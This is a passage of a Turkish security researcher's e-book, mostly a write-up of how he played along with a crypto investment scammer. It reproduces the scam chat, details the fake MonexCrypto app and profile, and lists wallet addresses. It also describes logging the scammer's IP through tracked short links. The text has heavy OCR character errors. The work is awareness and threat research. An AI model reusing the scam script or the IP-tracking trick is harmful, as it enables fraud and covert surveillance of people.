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Giris

2009 yilinda “Bilgi giigtiir ve paylasildikca artar” mottosuyla
olusturdugum blogumda, bilgi giivenligi farkindaligini arttirma
adina cok sayida teknik yaziya yer vermeye calisgtim. Yillar
icinde okurlarimdan aldigim olumlu geri dontsler sonucunda,
yazilarimi yillar bazinda e-kitap olarak derlemeye ve siber

giivenlik meraklilari ile paylasmaya karar verdim.

Emek, zaman ve kaynak ayirarak yaptigim arastirmalar
sonucunda yazdigim bu yazilarin, siber giivenlik alaninda
kendini gelistirmek isteyenler i¢in faydali olmas: dileklerimle...

Mert SARICA
https://www.mertsarica.com
https://twitter.com/MertSARICA

https://www.linkedin.com/in/mertsarica
CCISO, CISSP, SSCP, OSCP, CREA & CEREA



https://twitter.com/MertSARICA

This book was produced using

[ZIPRESSBOOKS

Pressbooks provides educators, authors, & scholars with

powerful tools for creating, adapting, & sharing their ideas.

Learn more about how you can use Pressbooks to publish
beautiful and accessible books on the web and in print-ready
formats at https://pressbooks.com/get-started.
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1. Kripto Para

Dolandiricilan

If you are looking for an English version of this article,

please visit here.

Yillar iginde dolandiricilar tarafindan kimi zaman direkt
(LinkedIn Dolandiricilari, Sponsorlu Dolandiricilik) kimi

zaman dolayli yoldan hedef alindik¢a (Profilime Kim Bakti ?),

bunlar1 blog yazisina dokiip etrafimdakileri bu konuda
uyarmay1l kendime goérev edindim. Oyle ki bazi zamanlarda
esten, dosttan, yakin ¢evremden de dolandiricilik girigimleri ile

ilgili mesajlar alip, bunlar1 da (Instagram Dolandiricilari) firsat

bulduk¢a yaziya dékmeye calistim. Bu defa da yine kaleme
aldigim yeni bir dolandiricilik girigimi ile kargimnizdayim.

2022 yilinin Haziran aymda Twitter hesabimdan da
duyurdugum iizere bu girisim, Anna isimli korumali Twitter
hesabindan 14 Haziran 2022 tarihinde gelen bir mesaj ile
bagladi. Bu mesajda Anna, uzun zamandan beri beni
gormediginden bahsederek sohbete bagladi. Adimi (Mark),


https://www.mertsarica.com/exposing-pig-butchering-scam/
https://www.mertsarica.com/linkedin-dolandiricilari/
https://www.mertsarica.com/sponsorlu-dolandiricilik/
https://www.mertsarica.com/profilime-kim-bakti/
https://www.mertsarica.com/instagram-dolandiricilari/
https://twitter.com/MertSARICA/status/1536743324144414722
https://twitter.com/Anna09339609

4  mertsarica

nerede yasadigimi (Tiurkiye’de yasayan bir Belgikali)) ve
calistigimi (Bir FinTek firmasinda Finansal Isler Miidiirii (CFO))
6grendikten sonra konu nerelere nasil yatirim yaptigimdan,
Bitcoin kripto parasinin o zamanlardaki deger kaybina geldi.

@ Annag

Anna

Investment, one of the founders of import and export trading company,
photography enthusiast, travel is the truth of finding soul.

100 19

Hello, long time no see

My friend, what are your plans for today?

Training.

What kind of training do you do? What's it
about?

Walking on the treadmill
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& twitter.com
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@ twitter.com/Ann

Home

Explore

Notifications

Messages

Bookmarks

Lists

Profile

More
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Investment, one of the founders of import and export trading company, photography
enthusiast, travel is the truth of finding soul.

These Tweets are
protected
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’?\, Anna B

Finance is usually very sensitive to numbers. | guess
you must have been exposed to cryptocurrency or
stock investments.

Yes, | keep some amount of bitcoin and altcoins in my
digital wallet. While bitcoin's price drops recenly, | go
on investing more coins for my bucket.

It seems that you invest in long-term holding.

Yes, | am a hodler

Yes, Bitcoin has been falling recently.

Although | invest in cryptocurrencies, | don't make
long-term investments. As you know, the
cryptocurrency market has been very unstable in
recent years, and the risk of choosing any type of
currency has also increased. | only do short-term
bitcoin trading for 30 seconds, and get the data
calculated by the head and shoulder formula and Kelly
formula. And seize a good trading node and buy the
ups and downs of Bitcoin within 30 seconds, so as to
obtain a stable profit.

Sohbete bir siire ara verip bir yandan Anna’nin profilindeki
fotografinin sahte oldugunu diisiinerek fotografin gercekte
kime ait oldugunu bulmaya karar verdim. Bunun i¢in Yandex
arama motorunun Gorsel Arama Ozelligini kullanarak profil
fotografinin Cinli Shasha Zhao isimli bir kisiye ait oldugunu
tespit ettim. Shasha’nin profilinde paylastig1 fotograflara goz


https://yandex.com/
https://yandex.com/images/
https://www.instagram.com/zhaosasa/
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attigimda ise Anna’nin profil fotografinda yer alan fotografi

bulmam ¢ok zor olmadi.

Yandex =M Uploaded image x Search 3 ©  Regster & Login
images Video e ote Disk Mol A

TS o\ ————— 1) A
videos do Instagram

@ instagram.com

Perfildo e COSMINECKVIE POBI U3PAINb # (@alina_beautymua) *

Caetnana Koponesa, Bbikoso, Poccus
# liveuserpage.com

Instagram @zhaosasa 1P #zhaosasa, #chinese, & [, #china, #asian, I i,

#asiangirls, #lamer, % %, E %, #O0HBCHE, #beauty, #cute #zhao
igirisin
D, ’
Instagram @zhaosasa 1P #zhaosasa, #lamer, % %, I ¥, #OI8CIS,
#beauty, #cute #zhaosasa #lamer % % IE 4 #0HECHS #beauty #cute
| & socialgirsim
Instagram @zhaosasa 1P #zhaosasa, % %, IE $#, #OLBCHE, #beauty, #cut

Xapnau3ana (@kherlenzaya) Twitter
¥ twittercom

APBEOS®

@ xnaofai:‘:‘ quww
@ z‘hiwsnuber\\me

@ !esreiowieies o
m hanada528 Xt o
oQv A

3,554 likes

More posts from zhaosasa

e
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Sohbetimizin  baslarinda  Singapur'da yasadigii = ve
konfeksiyon sirketi sahibi oldugunu séyleyen Anna, sohbete
WhatsApp iizerinden devam etmek istedigini belirttikten sonra
cep telefonu numarasi olarak ABD’den bir numarayi
(+19295654212) benimle paylasti E hani Singapur’da
yastyordun diye iizerine gittikten sonra manevra yaparak is
nedeniyle ABD’de yasadigini belirtti. Ardindan ilgimi ¢cekmek
icin ise 300.000% ile kripto para yatinmindan yaklasik
715.000$ kazandigini paylasti. Ben de kendisinin beni hizlica
avlayarak taktiklerini ortaya dokmesi i¢in 500.000$ ile yatirim

yapmay1 disindigimi paylagtim.
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. ?; Anna @

Funds management

Total assets (USDT)

715460

= 714458.3560 USD

Recharge Withdraw Exchange Transfer

Contract Futures

All the deals | made this month

1 only used $300,000 as the principal.

No, I Il move back to Belgium next month.

1 have 500.000 USD to invest but | go on keeping eye
on Bitcoin's price -

Kendisiyle onun c¢ok iyi bir yatirimer oldugunu ve onunla
yatirim yapmak istedigimi paylastiktan sonra kisa vadeli
yatinm i¢in MonexCrypto isimli platforma girmem
gerektigini sOyledi. Bunun icin de
https://app[.Jmonexcrypto[.]net adresini ziyaret edip mobil
uygulamayi indirip kayit olmam gerektigini paylast1.
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.‘(f\; Anna 6

Yes, after the purchase is completed, transfer it to the
short-term exchange for operation.

You also need a short-term exchange.

app.monexcrypto.net

Here is a link to the short-term exchange | am using.

You click the link to download and register an account
of your own.

If you encounter any problems, give me screenshots
and | will teach you.

Ok | will and let you know

Uygulamay1 indirmek icin web sayfasina gidip kaynak koduna
baktigimda uygulamanin hem Android (update.apk) hem de
iOS sirimi oldugunu o6grendim. Android uygulamasin
VirusTotal’a ve Pithus isimli mobil tehdit istihbarat:
platformuna yiikleyip oldukca siipheli goriinen c¢iktilarina
kabaca goz attiktan sonra zararli yazilimlara ¢ok daha az
rastlanan iOS igletim sistemi icin gelistirilmis olan siirimiini

detayli olarak incelemeye karar verdim.


https://www.virustotal.com/gui/file/9e6906a6d64c796c63f444075b835eeaf56a07251ff41a5347dd44fdc44cc9fd/details
https://beta.pithus.org/
https://beta.pithus.org/report/9e6906a6d64c796c63f444075b835eeaf56a07251ff41a5347dd44fdc44cc9fd
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& app.monexcrypto.net

MonexCrypto

€] humi ) (€] body | (E) adownload-btn y o jsie Computed
100CTYPE htal>
o

DOCHE Box Model

position

btn" onclick="btnClick();" href="./config/app.mobilecontig">Download and

e/png;basesd, {VBOR JRUSEk
th the canera to down

antial
scroll
(@) body
vetica, tahosa,arial, pingfang
,microsoft yahed, sinsun, sinhed,

& app.monexcrypto.net; J % 0 € (updae

st/caw/nain/Jump.nobileprovisi

« C O & github.com o @p" 6 » = O 6 (Upsa

& HackaCareer.in. T Unkedin ¥ Mert SARICA (mer... 1 Inbox - mert.saric B9 Other Bookmarks:

) sechorimoto Pullrequests Issues Codespaces Marketplace Explore 2 +- 0
Pullrsquests © Actons ] Projects nsights

Add files via upload

Add il via upload
@ bovuecs

Delete jump.mobileprovision

Add s via upload
@ boecn

3. parti uygulamalarin iOS isletim sistemi iizerinde ¢alismasina
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imkan taniyan mobileprovision dosyasmin GitHub iizerinde

saklandigii gordiikten sonra Apple’in Gelistirici Programi’na
kayitli, imza yetkisi olan yazilimci/firma (QuanLi Network
Technology Co., Ltd. (SRD7J8LLBV)) ile ilgili bilgileri

goruntiledim.

configuratio
com.apple.developer.healthkit.acce:
com.apple.developer.ubi
container-identif
get-task-allo
com.apple.developer.default-data-
protectiol
com.apple.developer.healthki
com.apple.developer.associated-|
dom:
com.apple.developer.team-identi
com.apple.security.application-gro
application-identifi [SRD7J8LLBV.com.weiquanli.iosplayer
com.apple.developer.ubiquity-kvstore-§SRD7J8LLBV.*
identifier:
com.apple.developer.homekit:|

CERTIFICATES



https://developer.apple.com/documentation/technotes/tn3125-inside-code-signing-provisioning-profiles
https://github.com/bayue08/takst
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Expires In 4 months

:§ZGP66P34K5.aah.sfgas.xhgsGF
henzhen Lelemi Infotech. Co., Ltd. (ZGP66P34K5)
:Ji0S
:l15c4bf519-007¢c-4086-a982-9f207a6dde4f
Provisions All Devices:jlYes
Creation Date:fjJun 3, 2022 at 12:26:24 EDT
Expiration Date:fjJun 3, 2023 at 12:26:24 EDT

ENTITLEMENTS

application-identifi 'GP66P34K5.aah.sfgas.xhgsGF
keychain-access-grou '‘GP66P34K5.*, com.apple.token
aps-environment:|
get-task-allo
com.apple.developer.team-identifier:|

CERTIFICATES

Name:fliPhone Distribution: Shenzhen Lelemi Infotech. Co., Ltd.
Creation Date:fjJun 3, 2022 at 12:12:28 EDT
Serial Number:fJ643F3BOFBOAGEF741647A2F6BAB02784
SHA-1:[§531C2E4E19E6CE6FO93EOE85A5CB4D1C410BAE98

Sira Apple aygitlarina ayarlari ve yetkilendirme bilgilerini

yiikleyen verilerden olusan app.mobileconfig XML dosyasini
incelemeye geldi. Dosyay1 Xcode iginde yer alan Simulator
uygulamasi iizerinde caligtirdigimda bunun

https:// www.monexcrypto.net web sayfasini ac¢maya
yarayan bir Web Klip (WebClip) oldugunu ve Gang Dai isimli

bir gelistiri tarafindan imzalanmis oldugunu 6grendim.

Web klipleri: Web kupiirii, aygitin Ana Ekran’inda bir
web sitesine veya URL’ye baglant1 saglayan bir simgedir.
Web Kklipleri istege bagli olarak tam ekran web
uygulamalarimi baglatabilir ve HTML5 yerel saklama
alanini kullanarak cevrimdisi calisabilir. Konfigiirasyon
profilleri 6zel bir baslik ve simge kullanan ve istege bagh
olarak silinemez yapilabilen web Kklipleri icerebilir. Web
klipleri, 6grencileri egitim amaciyla belirli web sitelerine


https://support.apple.com/tr-tr/guide/deployment/depc0aadd3fe/web
https://app[.]monexcrypto[.]net/config/app.mobileconfig
https://developer.apple.com/xcode/
https://developer.apple.com/documentation/xcode/running-your-app-in-simulator-or-on-a-device
https://www[.]monexcrypto[.]net

14 mertsarica

yonlendirebilir. Bir aygittaki web kupiirlerini ayarlama
hakkinda daha fazla bilgi icin Apple Gelistirici
belgelerindeki WebClip profil sayfasina bakin.



https://developer.apple.com/documentation/devicemanagement/webclip
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iPhone 13 mini — i0S 15.5
) D

Bu web sitesi bir konfigurasyon profili
gostermek istiyor. izin vermek
istiyor musunuz?

Yok Say  izin Ver

5/YeniYazi/Monex/app.mobileconfig %
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iPhone 13 mini — i0S 15.5
ot D

1:06

< Genel Aygit Yonetimi

INDIRILEN PROFIL

MonexCrypto
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iPhone 13 mini - i0OS 15.5
ot D

Profili Yukle

MonexCrypto

1 iPhone Distribution: gang dai
(83A48VEPWY)

Dogrulandi v/

Web Klibi

Daha Fazla Ayrinti

indirilen Profili Sil

17
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iPhone 13 mini — i0S 15.5
ot D

< Profili Yikle MonexCrypto

WEB KLIBI

Web Klibi

iPhone Distribution: gang dai

(83A48VBPWY)

Apple Worldwide Developer
Relations Certification
Authority
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iPhone 13 mini — i0S 15.5
ot D

< MonexCrypto Web Clip

Etiket

URL
Silinebilir
Tam Ekran

Bildiri Kapsamini Goz Ardi Et
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iPhone 13 mini — i0S 15.5
ot D

< iPhone Distribution: gang dai (83A48...

OZNE ADI
Kullanici Kimligi
Genel Ad
iPhone Di
Kurulug Birimi
Kurulus

Ulke veya Bolge

SERTIFIKA VER

Genel Ad

Apple
Certi

ert
Kurulug Birimi
Kurulug

Ulke veya Bolge
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Web sitesine kayit olmaya calistigimda kayit formundaki bir

alana Kurulus Kodu girmem bekleniyordu. Dolandiricilar
tarafindan forma bdyle bir kod koyulmasmin amaci
muhtemelen siber giivenlik aragtirmacilarinin ve/veya siber
givenlik dreticilerinin bu sayfayr tespit edip, bilgi
toplamalarin1 engellemekti ve bu zamana kadar da bunu
basarmiglardi. Zaman kazanmak igin ara ara Anna’ya
uygulama kurulumunda hata aldigimi s6yledigimde sagolsun
ekran goriintiileri ile bana yardimec: olmak i¢in elinden geleni
yapiyordu. (£) Ben de bunun iizerine kurulus kodunu

6grenmek icin Anna’dan yardim istemeye karar verdim. (&
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@ Register

& C (Y @ monexcrypto.net/#/pages/register/inde o ™ ¥w O @ Incognito ( Update

£ Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... ES Other Bookmarks

< Register

| have read and agree (User Agreement)

Sira Kurulus Kodunu 6grenmeye geldiginde heyecandan ilk
once Cince kelimeler yazan Anna (muhtemelen Ingilizce’si pek
iyi olmadig1 icin Cince-Ingilizce ceviri programi kullanarak
benimle iletigsim kuruyordu) daha sonra forma girmem gereken
kodu (768919) benimle paylast1.
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| can not able to install it to my iPhone, do not know
why.

Can be installed

You may not have found the installation package.

It will prompt that the description file has been
downloaded. After the download is completed, click
Settings to see the description file and click Install.

Profile Downloaded

. Airplane Mode

<= Wi-Fi Not Conne

® | Bluetooth
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Anna @ ®

I have installed it.

I can not able to register as it asks me an organization
code which | have no idea what it is

zsenmzamutre R 0UE

Try the 768919 | used.

)

This is the organization code | used.

You try

It worked. Now what is next ? )

Next, buy and transfer.
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&8 =2 i"(?\, Anna 6

SR B ZABNR A UA

Chinese v

O FEHIHERZ BRI AR
ENGLISH
<) Can you use the one | used before | look for it?

Basariyla kayit olup Web Klip ile web sitesini gezmeye
basladigimda ilk olarak bir kripto para platformunda olan temel
meniilerin (anlik piyasa takibi, ciizdana para yatirma, cekme
vb.) oldugunu gérdiim.
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iPhone 13 mini — i0S 15.5
o D

Q MonexCrypto

Everyone is looking forward
to the shining debut e

MonexCrypto mining pool is newly
launched

@ src/usDT ¢ ETH/USDT (@ NEO/USDT

Quick recharge - . Contract transac...
Support BTC, USDT, s ‘

H and etc

1~ New purchase

(é\ USDT Flexible earnings

o

vr’q“ L

Transaction rank
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Daha sonra dolandiricilarin kurbanlarini aglarina diistirmek
icin en ideal yer olabilecegin diisindigiim kripto para alma
ve cekme sayfasi olan Recharge sayfasini ziyaret ettim. Diger
borsalarda, platformlarda oldugu gibi ziyaret ettigimde karsima

kripto para ciizdanlarima ait adresler ¢ikt1.

Funds management X =+
O 8 htt .monexcrypto.net/#

Funds management

Total assets (USDT)

0

=0.0000 USD

Recharge Withdraw Exchange Transfer

Contract Futures

uUsDT
Available Frozen Amount to(USD)
0.0000 0.0000 0.0000

BTC
Available Frozen Amount to(USD)

0.0000 0.0000 0.0000

ETH
Available Frozen Amount to(USD)

0.0000 0.0000 0.0000

NEO
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rging center X +
& = d QO O nttps://www.monexcrypto.net/#/pages/rechargefi >

Charging center

=
—»

Charging channel

BTC

O ETH

& usDT

@ vusoc




Under charging

Save two-diamensional code

Currency charging address

3QX2Csna3FEbXD9PxhgEXL36gAfYXWSwQU

Recharge

Chain name

BTC

Upload picture

Hack 4 Career

29
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Under charging X —+
C O E, https://www.monexcrypto.net/#/pages/recharginc b

Under charging

Save two-diamensional code

Currency charging address

0xF88997e493C08874d9e0D485463386ABfOEBe6bf

Recharge

Chain name

ETH

Upload picture

Tarih 28 Haziran 2022°yi gosterdiginde, kurbanini
dolandirmaya c¢ok yakin oldugunu anlayan Anna, ciizdanima
Binance isimli kripto para borsasi tizerinden nasil kripto para
(USDT) gonderecegim konusunda beni yonlendirmeye basladi.


https://www.binance.com/

Hack 4 Career

5 Anna @

If you are herebinancelf you have coins, you don't need
to buy them. You just need to convert them into USDT
and transfer them.

Direct purchase is also possible, but then it needs to
be purchased by wire transfer. The minimum purchase
amount is $3,000, and it will be more convenient to
purchase and transfer with the traditional exchange.

| usually do the same thing, and then transfer back to
the traditional exchange after the transaction.

Where is my USDT wallet address | cant find it.

Give me a screenshot.

I'll show you how to find him.

Just give me the screenshot of the main page of the
exchange.

31
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Py
Ef; Anna 6

Click on it and give me a screenshot.

I'll teach you the next step

Bi Order

0xF88997e493C08874d9e0D485463386ABfOEBe6bf

Recharge
Chain name

ERC20

Upload picture

Bi Order
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Icten ice acaba Anna gercekte hangi iilkeden benimle baglant:
kuruyor sorusu kafami meggul etmeye basladikca Anna’nin
IP adresini 6grenmek icin neler yapabilecegimi diigiinmeye
basladim. Twitter profilimde kocaman Cyber Security
Researcher yazmasina ragmen benden hi¢ siiphelenmeyen ve
agma diistirmek icin planim 15 giindiir ilmek ilmek isletmeye

devam eden Anna’nin Operasyon Giivenligi (OPSEC) ile ilgili

pek bir kaygist olmadigini tahmin ediyordum. Bu sebeple Anna
ile web sitemde barmndirdigim ekran gérintiilerinin adreslerini
Bitly URL kisaltma servisinden faydalanarak paylasmaya ve IP

adresini elde etmeye karar verdim.

Anna, paylastigim 3 tane bitly adresine tiklamaktan zerre
kadar imtina etmedigi icin SOCRadar IOC Radar tizerinden kisa
sirede Hong Kong'da yer alan 45.204.66.140 IP adresinden

benimle iletigim kurdugunu 6grenmis oldum.


https://twitter.com/MertSARICA
https://www.mertsarica.com/opsec/
https://bitly.com/
https://socradar.io/labs/soc-tools/ioc-radar
https://socradar.io/labs/ioc-radar/results/0cdac592cf9b47579f2f07af886d2273
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6]

That is a bit complicated, let me share the screenshots
with you.

okay

Let's start with the transfer.

You openbinanceGive me a screenshot of the
homepage and I'll tell you what you should do.

is this the address of USDT wallet that | have to send
from Binance ? bitly/:

After copying, open Binance to find the transfer, then
paste the wallet address you copied and transfer it.

After successful transfer, go back to the short-term
exchange and upload the certificate of successful
transfer.

You can start trading.

If you have any questions, please take screenshots
and ask me.

After the transfer, | || see the amount of the USDT on
this area, is that correct ? bit.ly/:
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45.204.66.140 - - [02/Jul/2022:17: A +0000] "GET /\mﬂges/ ottt Jog HTTP/1°1% 200 116233 “https://t.cof ! "Mozilla/5.0 (iPhone; CPU iPhone 05 144 like Mac 05 X) Ap
Pl /505.1, 15 (KHTML, Like Gecko) Version/14.0.3 Nobile/1SE148 Safari/60é. 1"
04.66. ;s BE/2uL72022:17:56:40 40000) "GET /images/wallet. g HTTP/L.1 200 4GAOEL “hetps:.//t.cof * "Mozil1a/5.0 (iPhone; CPU iPhone 05 144 like Mac 05 X) Ap
Gecko) Ve 1

45.204.66.140 - - [02/Ju1/2022:17. R +0000] "GET /images/wallet3. jpg HTTP/1.1" 304 183 "https://t.co/ tozi11a/5.0 (iPhone; CPU iPhone 0S 14_4 ike Mac 0S X) Apple
BebkiL/eeS. 115 txmm Like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1"

[02/3u1/2022:17:59:28 +0000] "GET /inoges/wallet3. jpg HTTP/1.1" 200 464081 "https://t.co/ * "Mozilla/5.0 (iPhone; CPU iPhone 05 144 like Mac 05 X) Ap
o\ewmm/ws 1.15 (KHTML, Like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1

Mert SARICA (mer... 1 Inbox -

[<] @ 10C Radar Results SOCRadar
Threat intelligence.
45.204.66.14
520488140 Extended.
@ Details © Completed
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MonexCrypto web sitesini gezmeye kaldigim yerden devam
ettigimde, Bitcoin ve Ethereum kripto para ciizdanlarima ait
kripto para adreslerinin gercek kripto para borsalarinda oldugu
gibi sadece bana 0zel iiretilip tretilmedigini kontrol etmeye
karar verdim. Sayet bu clizdan adresleri dolandiricilara ait ise
ve her platforma iiye olan kisiye (kurban) ciizdan adresi olarak
kendi adreslerini gosteriyorlar ise kolay yoldan kurbanlarina
ait kripto paralar1 rahatlikla calabilirlerdi. Buna yonelik
yaptigim aragtirmalar sonucudan;

28 Haziran 2022 tarihinde Bitcoin ciizdan adresimi
(3QX2Csna3FEbXD9PxhgEXL36qAf YXWSwQU)
Blockchain.com web sitesi iizerinde sorguladigimda, bu
ciizdanin 6 Haziran 2022 tarihinde olusturuldugu ve 29
Eyliil 2022 tarihine dek bu ciizdana 55,618.73$ degerinde
Bitcoin aktarildig1 ve daha sonrasinda ¢ekildigi goriiliyordu.
Aynui tarihte Ethereum ciizdan adresimi
(0xF88997e493C08874d9e0D485463386 ABfOEBe6bf) ayni
yerde sorguladigimda bu ciizdanin da 26 Haziran 2022
tarihinde olusturuldugu ve 23 Kasim 2022 tarihine dek bu
clizdana ~839.000$ degerinde Ethereum ve USDT aktarildig:


https://www[.]monexcrypto[.]net
https://www.blockchain.com/explorer/addresses/btc/3QX2Csna3FEbXD9PxhgEXL36qAfYXWSwQU
https://www.blockchain.com/explorer/addresses/eth/0xF88997e493C08874d9e0D485463386ABf0EBe6bf
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gorilityordu. Yine ayni tarihte bu defa USDC ciizdan adresimi
(0xcfddf006ec9f4af5bf34a6f71af41655fb7d4167)
sorguladigimda bu ciizdanin 17 Haziran 2022 tarihinde

olusturuldugu ve 16 Agustos 2022 tarihine dek bu ciizdana da
~46.000$ degerinde Ethereum ve USDT aktarildigy

goriiliyordu.

< c o # blockchain.com/explo
& Hack 4 Career. Inf.. in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric...
¥ Blockehain.com Search Block: k (SRR =2
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Feragatname: Herhangi bir hataya kars1 Tracers in
the Dark: The Global Hunt for the Crime Lords of



https://www.blockchain.com/explorer/addresses/eth/0xcfddf006ec9f4af5bf34a6f71af41655fb7d4167
https://www.amazon.com/Tracers-Dark-Global-Crime-Cryptocurrency-ebook/dp/B09SKW8WRV/
https://www.amazon.com/Tracers-Dark-Global-Crime-Cryptocurrency-ebook/dp/B09SKW8WRV/
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Cryptocurrency kitabinda oldugu gibi uctan uca
kripto para transferlerini takip edebilecek bir IRS
ajani veya Blockchain uzmani olmadigimi hatirlatmis
olaymm. (£

MonexCrypto web sitesine kayit oldugum 26 Haziran 2022
tarihinden 29 Ocak 2023 tarihine kadar asagi yukar1 5 defa
MonexCrypto web sitesine girip clizdan adreslerimi her kontrol
ettigimde degistiklerini gordim. Bu bilgilere gore ciizdan
adresleri kigiye 6zel tretilmeyip dolandiricilarin kendi ciizdan
adresleriydi ve belli araliklarda bu adresleri degistiriyorlardi.
Not aldigim degisen ciizdan adreslerimi ve bu ciizdanlara
yapilan para transferlerini kabaca alt alta koyup topladigimda,
dolandiricilarin  tahminimce yaklagtk 3 milyon dolar

degerinde kripto para caldiklarini anladim.

A B c
Blockchain Type Wallet Address ~Stolen Amount (USD)
Bitcoin 3QX2Csna3FEbXDIPxhgEXL3BGAFYXWSwQU $55,618.73
Ethereum 0xF88997e493C08874d9e0D485463386ABfOEBe6b $818,800.00
Ethereum 0xCFDDFO0BECOF4AF5BF34A6F71AF41655FB7D4167 $46,000.00
Ethereum 0x392667b0CDf9B04Ce5C48754Ea4185056A65DD31 $246,000.00
Ethereum 0x66FD1C86ae25BDd278bb90f11741668302EBB540 $675,000.00
Ethereum 0xA9434DFb0fa3f29fc6324AA60DB377C86302213 $204,000.00
Ethereum 0xC495928233A6E4433¢151B7A552e34A3d7Af54D7 $564,000.00
Ethereum 0xaE7AGF74c09BDB3E1e17651040C070A65ACH7859 $134,000.00
[Total Stolen Amount (USD) | $2,743,418.73]

Tabii ben Anna’'min maskesini digiirmeye c¢alisgirken 18
Temmuz 2022 tarihinde FBI, MonexCrypto gibi sahte kripto
borsa/yatinm uygulamalar1 iizerinden yapilan dolandiricilik

girisimlerine kars: bir uyar1 yayinladi. Bu uyariya gore diinya
genelinde 244 kisiden yaklasik 42.7 milyon dolar degerinde
kripto para calinmisti. 3 milyon dolarmin nasil ¢alindigini
coktan 6grenmistim. (&

2021 yiinda FBI'in Internet Suclar1 Sikayet


https://www.amazon.com/Tracers-Dark-Global-Crime-Cryptocurrency-ebook/dp/B09SKW8WRV/
https://www.irs.gov/
https://www.fbi.gov/
https://www.ic3.gov/Media/News/2022/220718.pdf
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Merkezi'ne bu dolandiricilik yontemiyle ilgili olarak
4.300°den fazla bagvuru yapilmig ve toplamda 429
milyon dolardan fazla kayip yasanmigtir. Kasim
aymin sonunda ise ABD Adalet Bakanligi, 2022
yilinda dolandiricilar tarafindan kullanilan yedi alan

adina el koydugunu acikladi. (Kaynak: Wired)

14 Haziran 2022 tarihinden 6 Temmuz 2022 tarihine kadar
beni dolandirmak i¢in tim ikna yollarimi tiikketen Anna, 6
Temmuz tarihinde isyan bayragini ¢cekerek sitem dolu mesajlar
gondermeye bagladi. Ben de dise dis kana kan diyerek 1
Agustos 2022 tarihinde Anna’ya FBI'in uyarisini ileterek kotii
adam gulisityle sohbetimize son noktay1 koymus oldum. (&


https://www.wired.com/story/pig-butchering-scams-evolving/#:~:text=The%20FBI's%20Internet%20Crime%20Complaint,than%20%24429%20million%20in%20losses.

Hack 4 Career 39

Anna 6

Haven't you finished your authentication yet?

Not yet. :/

| am on vacation, do it on next week.

awfully sorry

| can't understand.

Why do people always have the habit of
procrastinating about such little things? It's justit's just
verification. You can be ready.

| can't understand why things that can be done in a
few minutes should be delayed.

What is wrong 1 week ?
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It's nothing

| just don't understand why such simple things have to
be delayed.

Isn't it best to do such a thing when you have a rest?

Sorry,Maybe it's because | don't like to procrastinate,
and | can't understand such things.

People always like to put off the simplest things until

the end.

Don't invest in cryptocurrency, | thought you weren't
suitable for it. You can't even do such a simple thing
well.

Enjoy your vacation, sir,

After a period of conversation, | feel that you are not

suitable for investing in cryptocurrency. You always

procrastinate when you can't even do such a simple
e g :
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£\
l!?, Anna 68

You can wait until next week. It's your right, but I'm not
going to teach you. You didn't cherish it when | gave
you the opportunity to learn.

You can study it yourself.
Or find someone else to teach you.

| don't like people who procrastinate, because it is a
trivial matter.

| have no reason to wait for you. | have given you many
chances.

How do you do ?

hello

What's the matter?

FBI warns of fake cryptocurrency apps used to defraud
investors

Have votl raad thie article ?
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Anlagilan o ki Anna ilerleyen aylarda hiz kesmeden goéziine
kestirdigi yeni kurbanlarint agia disiirmeye devam etmis ve
de basarili olmus ki SOCRadar Siber Tehdit Istihbarati
platformunda zararli yazilim (Stealer) tarafindan calindig:

tespit edilen bilgiye gore 5 Eylil 2022 tarihinde
monexcrypto.net sitesine giris yapan bazi kullanicilarin
parolalar1 da ¢calinmigti.

Ekim ayma geldigimizde ise Monex Grubu, bagta
monexcrypto.net web sitesi olmak iizere iki web sitesinin daha

grup logolarini izinsiz kullandigina dair bir uyar: yayinladi.

@=m 6 »0¢

[ comactus  BEME | sx

MONEX GROUP

WhoWeAre  OurGroup  NewsRelease  Forlnvestors  ESG Information

[Notice] Spoofing websites using Monex Group logo and
company name

0Oct 05, 2022

We are currently receiving several reports of spoof websites using Monex Group logo and company name. The
websites using the following domains are detected an not operated by our group. Please be careful not to access any
suspicious services/websites or enter any of your personal information.

- Monexcrypto.co

- Monexcrypto.net
- monexcrypto.me

e )

Sonug itibariyle Anna ve klavye arkadaslarinin Pig Butchering
Scam adi verilen, iyi kurguladiklar1 bu dolandiricilik yéntemi


https://socradar.io/
https://socradar.io/quick-facts-on-the-worlds-top-infostealer-malware-threats/
https://www.monexgroup.jp/en/news_release/news_release/news_release-3780221818406228977.html
https://www.wired.com/story/what-is-pig-butchering-scam/
https://www.wired.com/story/what-is-pig-butchering-scam/
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ile nasil milyonlarca dolar vurgun yaptiklarini, Apple App
Store ve Google Play Store’dan indirdigimiz uygulamalardan,

sosyal medya Uzerinden gelen mesajlara kadar neden ¢ok
dikkat etmemiz gerektigini diger yazilarimda da oldugu iizere
detayl: bir sekilde 6grenmis olduk.

Farkindalik yaratma adma bu vyaziy1 arkadaslarimizla,
dostlarinizla ve sevdiklerinizle paylasmanizi 6nemle rica eder,
bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.


https://news.sophos.com/en-us/2023/02/01/fraudulent-cryptorom-trading-apps-sneak-into-apple-and-google-app-stores/
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2. Pratik Veri

Sizintis1 Analizi

If you are looking for an English version of this article,

please visit here.

Gergeklestirdikleri fidye yazilim (ransomware) saldirilar: ile
2021 yilinda 180 milyon dolar gelir elde etmis ve diinyanin
sayili siber sug ceteleri arasinda yer almay1 basarmis Rusya
destekli Conti grubu, 2022 yilinda Rusya’nin Ukrayna’y: isgal
etmesi ile 6nemli bir dénemece gelmisti. Conti grubunun Rus
isgalini destekledigini aciklamasi ile uluslararasi grup tyeleri
arasinda olusan fikir ayriliklar1 neticesinde iiyelerden biri
@ContiLeaks isimli Twitter hesabindan grubun kendi
aralarinda 2020-2021 yillarinda gerceklestirdigi yazigsmalari
sizdirmaya baslamisti ve sizintilar, siber saldirilarda
kullandiklar1 fidye yazilimlarinin kaynak kodunun da

sizdirilmasi ile devam etmisti.

44


https://www.mertsarica.com/practical-data-leakage-analysis/
https://en.wikipedia.org/wiki/Conti_(ransomware)
https://twitter.com/BrettCallow/status/1497249143663652865
https://twitter.com/ContiLeaks/status/1498030708736073734
https://twitter.com/ContiLeaks/status/1505433648023146499
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< contileaks
Anasayfa
conti leaks
Kegfet nfile:
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BELEREVAE]
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Bir siber glivenlik aragtirmacisi olarak bu gibi tehdit aktorlerine
ait veriler sizdiginda en ¢ok merakimi cezbeden konularin
